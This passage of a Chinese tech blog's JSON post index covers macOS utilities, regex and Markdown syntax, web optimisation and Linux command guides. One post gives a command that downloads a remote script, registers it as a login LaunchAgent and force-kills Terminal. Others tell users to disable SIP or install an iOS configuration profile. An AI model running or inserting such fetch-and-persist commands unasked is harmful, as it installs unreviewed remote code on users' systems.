中文(新加坡) zh-TW 中文(繁体) zu 祖鲁语 zu-ZA 祖鲁语 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"语言代码表","feature":"https://dev-coco.github.io/post-images/Language-Code.png","link":"https://dev-coco.github.io/post/Language-Code/","stats":{"text":"7 min read","time":398000,"words":1643,"minutes":7},"date":"2022-02-04 14:47:25","dateFormat":"2022-02-04"},{"content":"使用快捷键快速压缩图片。 安装 双击“图片压缩”,当出现下图的提示的时候,点击安装。 打开系统偏好设定——键盘——快速键——服务(在最底下)——设置一个快捷键。 同时也支持在 Touch Bar 运行,打开系统偏好设定——延伸功能——触控列——勾选图片压缩。 使用 在 Finder 找到并且选中图片,然后按下快捷键就自动将图片压缩完成。 压缩前 压缩后 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"macOS 压缩图片","feature":"https://dev-coco.github.io/post-images/Image-Compression.png","link":"https://dev-coco.github.io/post/Image-Compression/","stats":{"text":"1 min read","time":25000,"words":126,"minutes":1},"date":"2022-02-04 14:30:16","dateFormat":"2022-02-04"},{"content":"从分区中恢复已经被删除或被格式化的文件。 从 软件列表 下载 File Recovery 软件。 说明 此软件基于 foremost 制作了 GUI 界面,如果文件被覆盖重写,那就无法被恢复了。支持的文件格式如下: avi, bmp, dll, doc, docx, exe, gif, htm, jar, jpg, mbd, mov, mp4, mpg, ole, pdf, png, ppt, pptx, rar, rif, sdw, sx, sxc, sxi, sxw, vis, wav, wmv, xls, xlsx, zip 使用方法 运行程序后,输入需要恢复的文件类型,如果要恢复多种文件类型,中间使用英文逗号隔开,不要加空格,例如:png,pdf,jpg。输入完成后点击继续。 然后在预设的内容后面输入分区,例如:/dev/rdisk。 设备的分区可以在磁碟工具程式里面找到。输入完成后点击继续。 如果出现下图的提示,点击好。 接下来程序会自动打开终端机,输入开机密码(不会显示),然后按下回车键就开始运行了。 在桌面会看到一个 Recovery 加日期命名的文件夹,里面有恢复出来的文件。分区的空间越大,恢复所耗的时间就越久。 如果是恢复系统分区,需要在使用前需要暂时先关闭 SIP 保护。在 Mac 开机的时候按 Command (⌘)+R 进入恢复模式,然后执行 SIP 相关命令。 关闭SIP csrutil disable 开启SIP csrutil enable ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"恢复删除的文件","feature":"https://dev-coco.github.io/post-images/File-Recovery.png","link":"https://dev-coco.github.io/post/File-Recovery/","stats":{"text":"2 min read","time":81000,"words":360,"minutes":2},"date":"2022-02-04 13:47:29","dateFormat":"2022-02-04"},{"content":"限制程序的 CPU 使用率,让软件在运行的同时也不会造成设备严重发热。 从 软件列表 下载 CPU Limit GUI 软件。 运行程序后,输入软件的进程名。如果不知道进程的名字是什么,可以在活动监视器里面查看。输入完成后点 “继续”。 如果要对指定的 PID 限制 CPU 使用率,可以选择 PID 功能,然后输入程序的 PID 点 “好”。 然后会出现下图的这个页面,选择限制软件的 CPU 使用频率。例如 30,就代表软件的 CPU 使用率只能达到 30%。使用率越低软件对电脑整体的运行速度影响越低,但是过低的使用率可能会导致软件无法流畅使用,所以请合理分配软件的 CPU 使用率。 当设置完成后,程序就会一直在后台运行,不过没关系,这个程序并不会对电脑的性能造成什么影响。当被限制 CPU 使用率的软件关闭后,程序的后台也自动结束。 如果想要限制多个软件的 CPU 使用率,可以在终端机运行以下命令。 open -na /Applications/CPULimitGUI.app --args --secondary ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"限制软件 CPU 使用率","feature":"https://dev-coco.github.io/post-images/CPU-Limit-GUI.png","link":"https://dev-coco.github.io/post/CPU-Limit-GUI/","stats":{"text":"2 min read","time":66000,"words":315,"minutes":2},"date":"2022-02-04 10:08:16","dateFormat":"2022-02-04"},{"content":"正则表达式语法 0 基础速成。 c{margin-right:10px;padding:2px 4px;font-size:90%;color:#c7254e;background-color:#f9f2f4;border-radius:4px}l{background-color:#b0d1e8;margin-left:1px;margin-right:1px} 什么是正则表达式 用来匹配字符串的一种语法。可以从大量的字符串中匹配出自己想要的一部分内容。 说明 本文将采用粉色背景代表正则表达式语法,蓝色背景代表正则表达式匹配到的内容。 元字符 .匹配换行符以外的任意字符 例子 表达式:a.g 文本:august orange 匹配结果:augang ^匹配字符串的开始 例子 表达式:^b.. 文本:bird is black color 匹配结果:bir $匹配字符串的结束 例子 表达式:er$ 文本:His efforts were fruitless, however 匹配结果:er \\w匹配字母数字或者下划线 例子 表达式:\\w 文本:价格:$1.5, 名字:Aaron_C 匹配结果:15Aaron_C \\d匹配任意数字,同等于[0-9] 例子 表达式:\\d 文本:我有100个气球 匹配结果:100 \\s匹配任意不可见字符,例如空格、制表符、换行符等 例子 表达式:\\s 文本:I got three gold coins. 匹配结果: (四个空格) \\b匹配单词的开始或结束 例子 表达式:\\bcup\\b 文本:I have three cups and he has one cup. 匹配结果:cup 反义 \\D匹配不是数字的字符 例子 表达式:\\D 文本:1个西瓜15斤 匹配结果:个西瓜斤 \\W匹配不是字母、数字、下划线的字符 例子 表达式:\\W 文本:This music style R&B. 匹配结果: &.(三个空格&.) \\S匹配任意可见字符 例子 表达式:\\S 文本:Macbookistooexpensive. 匹配结果:Macbookistooexpensive. \\B匹配不是单词开头或结束的位置 例子 表达式:can\\B 文本:can I have a candy? 匹配结果:can 限定符 +重复1次或更多次, 同等于{1,} 例子 表达式:10+ 文本:1乘以10不等于100 匹配结果:10100 ?重复0次或1次, 同等于{0,1} 例子 表达式:10? 文本:我有1杯水和10本书还有100支笔 匹配结果:11010 *重复任意次, 同等于{0,} 例子 表达式:10* 文本:1乘以10不等于100 匹配结果:110100 分支条件 |将多个匹配条件进行逻辑“或”运算。 例子 表达式:ant|ch 文本:I like this restaurantvery much. 匹配结果:antch 括号 (括号)、[中括号]、{大括号} (xyz)匹配括号内的内容,并且使用此字符向后引用。 例子 表达式:([a-z])+ 文本:这杯water特别clear 匹配结果:waterclear [xyz]匹配字符范围。 例子 表达式:[a-z] 文本:Bluepeninmyhand. 匹配结果:luepeninmyhand [^xyz]不匹配字符范围 例子 表达式:[^a-z] 文本:May I have a coffee. 匹配结果:M I .(M空格I空格空格空格.) {x}重复x次 例子 表达式:o{2} 文本:It feels good to look at the moon. 匹配结果:oooooo {x,}重复x次或者大于x次 例子 表达式:0{2,} 文本:2000块的预算买电脑。 匹配结果:000 {x,y}重复x到y次 例子 表达式:0{2,3} 文本:一百=100,一千=1000,一万=10000 匹配结果:00000000 转义符 \\表示转义序列,或去掉元字符的转义。 例子 表达式:\\\\|\\^ 文本:KL\\bwo^K0c 匹配结果:\\^ 贪婪与非贪婪模式 通常情况下,在整个表达式能匹配到文本的前提下,尽可能匹配更多的字符。 例子 表达式:a.*c 文本:aabbcsdwosbabbc 匹配结果:aabbcsdwosbabbc 有时会需要非贪婪匹配,也就是匹配尽可能少的字符。限定符都可以变为非贪婪模式。 例子 表达式:a.*?c 文本:aabbcsdwosbabbc 匹配结果:aabbcabbc ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"正则表达式语法","feature":"https://dev-coco.github.io/post-images/Regex-Syntax.png","link":"https://dev-coco.github.io/post/Regex-Syntax/","stats":{"text":"4 min read","time":220000,"words":939,"minutes":4},"date":"2022-02-04 04:46:16","dateFormat":"2022-02-04"},{"content":"屏蔽 iOS 设备的 OTA 自动更新。 .notice{position:fixed;left:50%;top:50%;-webkit-transform:translate(-50%,-50%);z-index:9999;text-align:center;background-color:#fff;padding:12px;border-radius:10px} function mobile_device(){navigator.userAgent.match(/iPhone|iPod|iPad/i)?window.open(\"https://dev-coco.github.io/bota.mobileconfig\",\"_blank\"):document.getElementsByClassName(\"notice\")[0].setAttribute(\"style\",\"display:block\")}function close_notice(){document.getElementsByClassName(\"notice\")[0].setAttribute(\"style\",\"display:none\")} 当苹果发布了新版本的 iOS 系统时,设备只要联网就会在后台静默下载更新文件。一方面会占用设备的内存,另一方面容易误触而不小心了更新了系统。下面就介绍一个方法可以屏蔽 OTA 更新。 使用方法 屏蔽OTA更新 点击链接后会跳转到 Safari 下载一个描述文件,点击允许。 下载完成后点击关闭按钮。 点开设置,找到已下载描述文件。 点击安装。 然后会提示需要输入锁屏密码。 输入完成后再次点安装。 如果安装后提示需要重启设备,那么就点重新启动,如果没有提示就忽略此步骤。 安装完成后在软件更新里面就会显示当前的系统为最新系统,不会收到新系统的推送了。 安装完配置文件后设备上会出现一个 Feedback 软件,这个是系统隐藏的软件,属于正常情况。 详细操作请看下面的动态图。 使用相机扫描二维码打开链接 ","tags":[{"name":"iOS","slug":"ios","used":true,"link":"https://dev-coco.github.io/tag/ios/"}],"title":"屏蔽 OTA 更新","feature":"https://dev-coco.github.io/post-images/Block-OTA-Update.png","link":"https://dev-coco.github.io/post/Block-OTA-Update/","stats":{"text":"2 min read","time":85000,"words":364,"minutes":2},"date":"2022-02-04 04:25:32","dateFormat":"2022-02-04"},{"content":"关于提高浏览器性能的选项设置。 Chrome 浏览器有一些隐藏的设置选项,因为是测试功能,所以没有在设置界面显示出来,下面将会介绍几个关于提高浏览器性能的选项设置。 在浏览器的网址处输入:chrome://flags Parallel downloading 浏览器默认是单线程下载的,开启这项功能后浏览器支持多线程下载,加快文件下载的速度。 Experimental QUIC protocol 开启 QUIC (Quick UDP Internet Connection 快速UDP连接) 协议,减少延迟时间,改进堵塞控制。 GPU rasterization Chrome 不会太依赖 GPU 来处理图像数据,所以可以开启这项功能将 CPU 处理切换到 GPU 来加快处理图像数据。 Zero-copy rasterizer 开启后会把光栅化写入 GPU 内存,因为这样速度会被常规的 RAM 速度更快。 Destroy Profile on browser close Chrome 浏览器默认会在完全关闭浏览器后再释放内存和其他的资源,开启这项功能后,关闭浏览器人员,即使没有完全关闭所有的浏览器,就会释放内存和其他的资源。 Override software rendering list Chrome 会禁用某些版本的 GPU 加速网页,可能会导致浏览器运行缓慢,开启这项功能后,浏览器会强制使用 GPU 加速,即使被禁用。设置完成后可以在 chrome://gpu 查看开启的状态。 ⚠️ 注意!开启 GPU 相关功能加快渲染速度的同时,可能会增加设备温度和耗电量,有利也有弊。是否开启取决于是更偏向于性能,还是更偏向于设备的续航时间,当然如果设备过热的时候也会降低 CPU 的频率。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"}],"title":"浏览器提高性能设置","feature":"https://dev-coco.github.io/post-images/Chrome-Performance-Settings.png","link":"https://dev-coco.github.io/post/Chrome-Performance-Settings/","stats":{"text":"2 min read","time":97000,"words":450,"minutes":2},"date":"2022-02-04 03:49:02","dateFormat":"2022-02-04"},{"content":"最近在使用 Google Excel 的时候发现了一个问题,表格里面的链接不知道是什么原因不会自带超链接。 不过后来写了一个 AppleScript 解决了这个问题,点击下载。 源码如下: set RepeatTimes to display dialog "请输入数量" default answer "" with title "Excel Hyperlink" buttons {"关闭", "继续"} default button "继续" set DoubleRepeatTimes to (text returned of RepeatTimes) * 2 tell application "System Events" delay 3 repeat DoubleRepeatTimes times -- delay 0.08 key code 36 end repeat end tell 使用方法 输入需要换上超链接的数量(要在同一列),选中第一个单元格,等待 3 秒后就会开始运行。如果电脑配置不高可以设置延时,不过在运行的过程中只能等待,其他什么也做不了。 效果 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 超链接","feature":"https://dev-coco.github.io/post-images/Google-Excel-Hyperlink.png","link":"https://dev-coco.github.io/post/Google-Excel-Hyperlink/","stats":{"text":"1 min read","time":51000,"words":206,"minutes":1},"date":"2022-02-04 03:11:44","dateFormat":"2022-02-04"},{"content":"Markdown 基本语法。 换行 在 Markdown 的语法里面换行的话使用 <Enter> 键就可以了,如果是一个新的段落,那就使用两个 <Enter>。下面来看一下效果。 Markdown 语法 效果 这是一句很长很长的一句话但是我想在下面再加一段话就像这样子,这样就是第二段话啦。 这是一句很长很长的一句话 但是我想在下面再加一段话就像这样子,这样就是第二段话啦。 标题 标题 在 # 符号后面加一个空格再加上文字。几个 # 符号就代表几级标题。 Markdown 语法 效果 # 一级标题 一级标题 ## 二级标题 二级标题 ### 三级标题 三级标题 #### 四级标题 四级标题 ##### 五级标题 五级标题 ###### 六级标题 六级标题 字体 加粗:需要加粗的文字左右两边分别放两个符号。 斜体:需要倾斜的文字左右两边分别放一个符号。 倾斜加粗:需要倾斜加粗的文字左右两边分别放三个*符号。 删除线:需要加删除线的文字左右两边分别放两个~符号。 Markdown 语法 效果 普通文本 普通文本 **加粗** 加粗 *斜体* 斜体 ***倾斜加粗*** 倾斜加粗 ~~删除线~~ 删除线 分割线 三个或三个以上的 - 或 * 符号。 Markdown 语法 效果 --- *** 图片 图片![图片alt标签](图片链接),效果就像下图这样。 超链接 [文本](链接),例如[Mac清理垃圾](https://dev-coco.github.io/post/Mac-Cleaner/),效果就像这样:Mac清理垃圾 代码块 在开头和结尾用三个`符号单独占一行。 ``` #include <stdio.h> int main() { printf("Hello, World!"); return 0; } ``` 效果 #include <stdio.h> int main() { printf("Hello, World!"); return 0; } 关于 YouTube 在 Markdown 里是不可以直接插入 YouTube 视频的,但是可以使用另外一种方法,就是使用 YouTube 视频的缩略图做超链接。 [![图片标签](https://img.youtube.com/vi/视频ID地址/0.jpg)](https://www.youtube.com/watch?v=视频ID地址) ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"Markdown 语法","feature":"https://dev-coco.github.io/post-images/Markdown-Syntax.png","link":"https://dev-coco.github.io/post/Markdown-Syntax/","stats":{"text":"2 min read","time":119000,"words":536,"minutes":2},"date":"2022-02-04 02:49:49","dateFormat":"2022-02-04"},{"content":"自动更新 macOS 上的软件。 在使用之前你可能会需要查看在 Github 上的源代码。 在 Terminal 运行下面的命令,运行完成后需要重启设备。这个脚本会在系统启动的时候检测软件的版本,如果是旧版本会自动更新。 安装命令 cd /Users/$USER/Library/LaunchAgents && curl https://raw.githubusercontent.com/dev-coco/AutomaticSoftwareUpdate/master/AutomaticSoftwareUpdate.sh -o AutomaticSoftwareUpdate.sh && sudo chmod +x /Users/$USER/Library/LaunchAgents/AutomaticSoftwareUpdate.sh && curl https://raw.githubusercontent.com/dev-coco/AutomaticSoftwareUpdate/master/com.dev-coco.AutoUpdate.plist -o com.dev-coco.AutoUpdate.plist && defaults write /Users/$USER/Library/LaunchAgents/com.dev-coco.AutoUpdate.plist Program -string "/Users/$USER/Library/LaunchAgents/AutomaticSoftwareUpdate.sh" && defaults write /Users/$USER/Library/LaunchAgents/com.dev-coco.AutoUpdate.plist ProgramArguments -array -string "/Users/$USER/Library/LaunchAgents/AutomaticSoftwareUpdate.sh" && launchctl load -w /Users/$USER/Library/LaunchAgents/com.dev-coco.AutoUpdate.plist && killall -9 Terminal 卸载命令 launchctl unload -w /Users/$USER/Library/LaunchAgents/com.dev-coco.AutoUpdate.plist && sudo rm -rf /Users/$USER/Library/LaunchAgents/AutomaticSoftwareUpdate.sh && sudo rm -rf /Users/$USER/Library/LaunchAgents/com.dev-coco.AutoUpdate.plist 检测Chrome版本 /Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --version 检测命令 launchctl list | grep dev-coco.AutoUpdate 如果有输出内容就说明安装成功,进程已经在运行了。如果未显示任何内容代表没有安装成功。详情请看下图: ","tags":[{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"macOS 软件自动更新","feature":"https://dev-coco.github.io/post-images/Automatic-Software-Update.png","link":"https://dev-coco.github.io/post/Automatic-Software-Update/","stats":{"text":"2 min read","time":93000,"words":314,"minutes":2},"date":"2022-02-04 00:21:08","dateFormat":"2022-02-04"},{"content":"降低背景的噪音。 使用说明 此软件和真正意义上的降噪不一样,不会生成反向声波和噪音中和,但是可以大幅降低背景的噪音。 注意事项:请勿在设置立体音的情况下使用此软件,否则声音可能会很小或者听不见。 使用方法 点击程序即可运行,运行后会在 Dock 栏显示。图标下面有个小点说明是在运行状态。 如果要关闭,需要打开活动监视器,找到 FNC 进程强制结束。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"伪降噪","feature":"https://dev-coco.github.io/post-images/Fake-Noise-Cancellation.png","link":"https://dev-coco.github.io/post/Fake-Noise-Cancellation/","stats":{"text":"1 min read","time":29000,"words":147,"minutes":1},"date":"2022-02-03 23:23:48","dateFormat":"2022-02-03"},{"content":"加快用户加载网页的速度一些优化方案。 Gzip 压缩 Gzip 压缩是基于服务端的一种网页压缩的功能,Gzip 压缩可以对网页里的 (HTML, CSS, JS 等) 进行压缩,减少网页文件的大小,这样可以加快网页打开的速度。让我们先来看看浏览器是如何加载网页的。 如何开启 Gzip 压缩 通过.htaccess 文件开启压缩 <ifModule mod_gzip.c> mod_gzip_on Yes mod_gzip_dechunk Yes mod_gzip_item_include file .(html?|txt|css|js|php|pl)$ mod_gzip_item_include handler ^cgi-script$ mod_gzip_item_include mime ^text/.* mod_gzip_item_include mime ^application/x-javascript.* mod_gzip_item_exclude mime ^image/.* mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.* </ifModule> 在 Apache 服务器通过 htaccess 开启 Gzip 压缩 <IfModule mod_deflate.c> AddOutputFilterByType DEFLATE application/javascript AddOutputFilterByType DEFLATE application/rss+xml AddOutputFilterByType DEFLATE application/vnd.ms-fontobject AddOutputFilterByType DEFLATE application/x-font AddOutputFilterByType DEFLATE application/x-font-opentype AddOutputFilterByType DEFLATE application/x-font-otf AddOutputFilterByType DEFLATE application/x-font-truetype AddOutputFilterByType DEFLATE application/x-font-ttf AddOutputFilterByType DEFLATE application/x-javascript AddOutputFilterByType DEFLATE application/xhtml+xml AddOutputFilterByType DEFLATE application/xml AddOutputFilterByType DEFLATE font/opentype AddOutputFilterByType DEFLATE font/otf AddOutputFilterByType DEFLATE font/ttf AddOutputFilterByType DEFLATE image/svg+xml AddOutputFilterByType DEFLATE image/x-icon AddOutputFilterByType DEFLATE text/css AddOutputFilterByType DEFLATE text/html AddOutputFilterByType DEFLATE text/javascript AddOutputFilterByType DEFLATE text/plain AddOutputFilterByType DEFLATE text/xml BrowserMatch ^Mozilla/4 gzip-only-text/html BrowserMatch ^Mozilla/4\\.0[678] no-gzip BrowserMatch \\bMSIE !no-gzip !gzip-only-text/html Header append Vary User-Agent </IfModule> 在 Nginx 服务器开启 Gzip 压缩 gzip on; gzip_comp_level 2; gzip_http_version 1.0; gzip_proxied any; gzip_min_length 1100; gzip_buffers 16 8k; gzip_types text/plain text/html text/css application/x-javascript text/xml application/xml application/xml+rss text/javascript; gzip_disable "MSIE [1-6].(?!.*SV1)"; gzip_vary on; 设置成功后可以使用 测试工具 来测试是否成功开启了 Gzip。 优化代码 压缩 CSS,JS,HTML 在 HTML, CSS, JS 这些文件里面都会有一些空格,注释,换行等等,可以将这些代码给压缩成一行。这样可以大大的减小文件的体积,加快加载的速度。 代码顺序 因为加载网页的时候,正常是从上到下加载的。把 CSS 代码放在最前,加载出网页的页面,把 JS 的代码放在 body 的下面,放到最后加载。 图片格式和大小 常用的图片有这几种 webp, jpeg, png 格式,其中 webp 格式的图片体积最小,但是兼容性不是太好,有的浏览器不支持 webp 格式的图片。jpeg 的图片是目前比较主流的图片格式之一,图片体积要比 png 小,但是不支持图片的透明背景。png 格式的图片支持背景透明,防锯齿。 在一个网页里面可能会包含多张图片,可以将图片的尺寸修改到刚好合适的尺寸即可,这样就不需要用一个大尺寸的图片再使用 CSS 进行适配。还可以将图片进行压缩,图片的在保证用户体验的同时尽可能的压缩图片,图片体积越小,加载速度越快。如果是非常小的图片,建议使用 base64 压缩,避免网络请求,加载速度更快。 CDN CDN 是内容分发网络,可以将网页的内容更快的传输给用户。就好比一个日本的服务器,在美国的用户打开速度就比较慢,没有日本当地打开的快。那么使用 CDN 的话,只要在美国地区有节点就会大大提高访问的速度。CDN 原理是将服务器的网页存在各个国家各个地区的节点,当用户请求网页的时候,就会访问距离用户最近的节点,这样就可以提高网页的加载速度。可以考虑选用 Cloudflare。 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"优化加载网页速度","feature":"https://dev-coco.github.io/post-images/Website-Loading-Optimization.png","link":"https://dev-coco.github.io/post/Website-Loading-Optimization/","stats":{"text":"4 min read","time":223000,"words":894,"minutes":4},"date":"2022-02-03 22:30:15","dateFormat":"2022-02-03"},{"content":"macOS 无法切换输入法这个问题困扰我很久了,似乎是个通病。不过后来终于找到了问题所在。 macOS 自带的 Tcl 和 TK 框架有严重错误,会导致奔溃,所以有时候输入法就无法切换了,替换一下这个框架就可以解决这个问题了。 解决方法 在 ActiveTcl 下载 8.5 版本,然后安装。 在操作前需要暂时关闭 SIP 保护。在设备开机的时候按 Command (⌘) + R 进入恢复模式,然后执行 SIP 相关命令。 关闭SIP csrutil disable 开启SIP csrutil enable 关闭 SIP 保护后,在 /Library/Frameworks 目录下,把 Tk.framework 和 Tcl.framework 这两个文件复制到 /System/Library/Frameworks 目录下。然后重启电脑,开启 SIP 保护。 最后把 tclvfse 软件卸载掉即可。 ","tags":[{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"macOS 无法切换输入法","feature":"https://dev-coco.github.io/post-images/Fix-Mac-IME-Switch.png","link":"https://dev-coco.github.io/post/Fix-Mac-IME-Switch/","stats":{"text":"1 min read","time":46000,"words":207,"minutes":1},"date":"2022-02-03 21:02:36","dateFormat":"2022-02-03"},{"content":"每天要在 Skype 准时发送消息,有没有什么方法可以让设备自动去执行定时发布消息呢? 大概思路: 打开 Skype 指定用户的对话界面。 发送指定内容。 定时发送。 在微软的官网上查到一个关于 Skype URI API 的介绍。简单的看了一下,使用以下方法调用 Skype 打开指定用户的对话界面。代码如下: skype:用户ID?chat 接下来要解决的是发送指定内容的问题。这里我打算使用 AppleScript + Shell 来实现这个功能。 大概思路:复制指定内容到剪切板,打开 Skype 指定用户对话框,粘贴,发送。在 Mac 中 pbcopy 命令负责将内容复制到剪切板。 echo "自定义内容" | pbcopy 不过在 AppleScript 需要调用 Terminal 来运行,将内容复制到剪切板后再关闭 Terminal。 tell application "Terminal" do script "echo \\"自定义内容\\" | pbcopy" do script "killall Terminal" end tell 这里解释一下 \\",因为在 AppleScript 中 do script 已经使用了",那么在引号里面使用引号需要使用转义字符。然后再打开指定用户的对话界面,使用 open 命令来打开链接,然后就会跳转到 Skype 应用程序内了。 do shell script "skype:用户ID?chat" do shell script 和 do script 有些不同,do shell script 不需要调用 Terminal 即可运行,但是 do script 就需要调用 Terminal 后运行,这里就不过多细说了。最后再使用 keystroke 模拟键盘操作粘贴和回车键。这里需要调用 System Events,然后使用 keystroke "v" using command down,模拟 Command + V 操作,最后使用 key code 36 模拟回车键操作。代码如下: tell application "System Events" delay 0.3 keystroke "v" using command down delay 0.3 key code 36 end tell 这里解释一下 delay,需要设置延时,如果操作太快,界面还没跳转过来,就进行下面的操作,这样整个流程就会出现问题。 最后要解决定时发送的问题。可以做一个守护进程,设置好时间,然后用 launchctl 启用即可。 <key>StartCalendarInterval</key> <dict> <key>Minute</key> <integer>分钟</integer> <key>Hour</key> <integer>小时</integer> </dict> 这里有个地方需要注意一下,需要调用 AppleScript 输出程序的路径,如果单单调用 AppleScript 是无法直接使用的,需要把 AppleScript 输出为应用程序后再使用。完整代码 --> Github。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"Skype 自动发送消息","feature":"https://dev-coco.github.io/post-images/Skype-Schedule-Messages.png","link":"https://dev-coco.github.io/post/Skype-Schedule-Messages/","stats":{"text":"3 min read","time":158000,"words":656,"minutes":3},"date":"2022-02-03 20:15:19","dateFormat":"2022-02-03"},{"content":"用于显示开机信息。 kernel 会将开机信息存储在 ring buffer 中。您若是开机时来不及查看信息,可利用 dmesg 来查看。开机信息亦保存在 /var/log 目录中,名称为 dmesg 的文件里。 语法 dmesg [-cn][-s <缓冲区大小>] 参数说明: -c 显示信息后,清除 ring buffer 中的内容。 -s<缓冲区大小> 预设置为 8196,刚好等于 ring buffer 的大小。 -n 设置记录信息的层级。 实例 显示开机信息 # dmesg |less WARNING: terminal is not fully functional [ 0.000000] Initializing cgroup subsys cpuset [ 0.000000] Initializing cgroup subsys cpu [ 0.000000] Linux version 2.6.32-21-generic (buildd@rothera) (gcc version 4.4.3 (Ub untu 4.4.3-4ubuntu5) ) #32-Ubuntu SMP Fri Apr 16 08:10:02 UTC 2010 (Ubuntu 2.6.32-21.3 2-generic 2.6.32.11+drm33.2) [ 0.000000] KERNEL supported cpus: [ 0.000000] Intel GenuineIntel [ 0.000000] AMD AuthenticAMD [ 0.000000] NSC Geode by NSC [ 0.000000] Cyrix CyrixInstead [ 0.000000] Centaur CentaurHauls [ 0.000000] Transmeta GenuineTMx86 [ 0.000000] Transmeta TransmetaCPU [ 0.000000] UMC UMC UMC UMC [ 0.000000] BIOS-provided physical RAM map: [ 0.000000] BIOS-e820: 0000000000000000 - 000000000009f800 (usable) [ 0.000000] BIOS-e820: 000000000009f800 - 00000000000a0000 (reserved) [ 0.000000] BIOS-e820: 00000000000ca000 - 00000000000cc000 (reserved) [ 0.000000] BIOS-e820: 00000000000dc000 - 00000000000e0000 (reserved) [ 0.000000] BIOS-e820: 00000000000e4000 - 0000000000100000 (reserved) [ 0.000000] BIOS-e820: 0000000000100000 - 000000003fef0000 (usable) [ 0.000000] BIOS-e820: 000000003fef0000 - 000000003feff000 (ACPI data) [ 0.000000] BIOS-e820: 000000003feff000 - 000000003ff00000 (ACPI NVS) ……省略部分内容 显示开机信息 #pwd //查看当前所在目录 /home/hnlinux/ # dmesg > boot.msg //将开机信息保存到 boot.msg文件中 #ls //显示当前目录文件 boot.msg ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"dmesg","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/dmesg/","stats":{"text":"2 min read","time":107000,"words":356,"minutes":2},"date":"2022-02-03 16:20:43","dateFormat":"2022-02-03"},{"content":"默认目录的安全上下文查询与修改。 补充说明 semanage 命令是用来查询与修改 SELinux 默认目录的安全上下文。SELinux 的策略与规则管理相关命令:seinfo 命令、sesearch 命令、getsebool 命令、setsebool 命令、semanage 命令。 语法 semanage {login|user|port|interface|fcontext|translation} -l semanage fcontext -{a|d|m} [-frst] file_spec 选项 -l:查询。 fcontext:主要用在安全上下文方面。 -a:增加,你可以增加一些目录的默认安全上下文类型设置。 -m:修改。 -d:删除。 实例 查询一下/var/www/html的默认安全性本文的设置: semanage fcontext -l SELinux fcontext type Context ....(前面省略).... /var/www(/.*)? all files system_u:object_r:httpd_sys_content_t:s0 ....(後面省略).... 如上面例子所示,我们可以查询的到每个目录的安全性本文!而目录的设定可以使用正则表达式去指定一个范围。那么如果我们想要增加某些自定义目录的安全性本文呢?举例来说,我想要色设置/srv/samba成为 public_content_t的类型时,应该如何设置呢? 用 semanage 命令设置/srv/samba目录的默认安全性本文为public_content_t: mkdir /srv/samba ll -Zd /srv/samba drwxr-xr-x root root root:object_r:var_t /srv/samba 如上所示,默认的情况应该是var_t这个咚咚的! semanage fcontext -l | grep '/srv' /srv/.* all files system_u:object_r:var_t:s0 /srv/([^/]*/)?ftp(/.*)? all files system_u:object_r:public_content_t:s0 /srv/([^/]*/)?www(/.*)? all files system_u:object_r:httpd_sys_content_t:s0 /srv/([^/]*/)?rsync(/.*)? all files system_u:object_r:public_content_t:s0 /srv/gallery2(/.*)? all files system_u:object_r:httpd_sys_content_t:s0 /srv directory system_u:object_r:var_t:s0 //看这里! 上面则是默认的/srv底下的安全性本文资料,不过,并没有指定到/srv/samba。 semanage fcontext -a -t public_content_t "/srv/samba(/.*)?" semanage fcontext -l | grep '/srv/samba' /srv/samba(/.*)? all files system_u:object_r:public_content_t:s0 cat /etc/selinux/targeted/contexts/files/file_contexts.local # This file is auto-generated by libsemanage # Please use the semanage command to make changes /srv/samba(/.*)? system_u:object_r:public_content_t:s0 #写入这个档案 restorecon -Rv /srv/samba* #尝试恢复默认值 ll -Zd /srv/samba drwxr-xr-x root root system_u:object_r:public_content_t /srv/samba/ #有默认值,以后用 restorecon 命令来修改比较简单! semanage 命令的功能很多,这里主要用到的仅有 fcontext 这个选项的用法而已。如上所示,你可以使用 semanage 来查询所有的目录默认值,也能够使用它来增加默认值的设置! ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"semanage","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/semanage/","stats":{"text":"3 min read","time":148000,"words":571,"minutes":3},"date":"2022-02-03 16:19:57","dateFormat":"2022-02-03"},{"content":"POSIX 平台开发具有高压缩率的工具。 补充说明 xz 命令 XZ Utils 是为 POSIX 平台开发具有高压缩率的工具。它使用 LZMA2 压缩算法,生成的压缩文件比 POSIX 平台传统使用的 